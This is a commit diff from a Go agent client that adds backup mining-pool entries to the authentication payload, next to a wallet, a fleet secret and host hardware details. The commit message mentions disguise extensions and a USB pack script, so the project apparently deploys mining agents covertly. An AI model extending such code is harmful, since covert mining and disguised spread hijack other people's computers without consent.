feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

agent/client/client.go

@@ -176,10 +176,16 @@ func (c *AgentClient) connectLoop(serverURL string) error {
 
 func (c *AgentClient) authenticate() error {
 	host, cores, memGB := c.reporter.SystemInfo()
+	backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
+	for i, bp := range c.cfg.BackupPools {
+		backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
+	}
+
 	payload, _ := json.Marshal(AuthPayload{
 		AgentID:          c.agentID,
 		FleetSecret:      c.cfg.FleetSecret,
 		Wallet:           c.cfg.Wallet,
+		BackupPools:      backupPools,
 		Version:          config.Version,
 		Hostname:         host,
 		CPUCores:         cores,